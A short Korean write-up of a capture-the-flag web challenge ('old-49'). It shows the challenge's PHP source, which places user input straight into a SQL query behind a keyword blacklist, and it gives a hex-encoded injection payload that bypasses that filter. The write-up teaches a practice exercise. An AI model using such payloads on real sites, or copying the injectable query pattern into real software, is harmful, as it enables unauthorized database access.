# old-49 (300)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M22Sx8j-pYQRBQmfeu2%2F-M22TEk8tcqV-33xTSEt%2Fimage.png?alt=media\&token=b67f703e-7514-4b71-b1d0-5bb51747b2e1)

view-source를 클릭해 본 소스는 아래와 같다.

```php
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
```

폼에 `0||id=0x61646d696e` 를 넣고 제출하면 문제가 풀린다.

`0x61646d696e` 는 `admin` 의 hex 값이다.
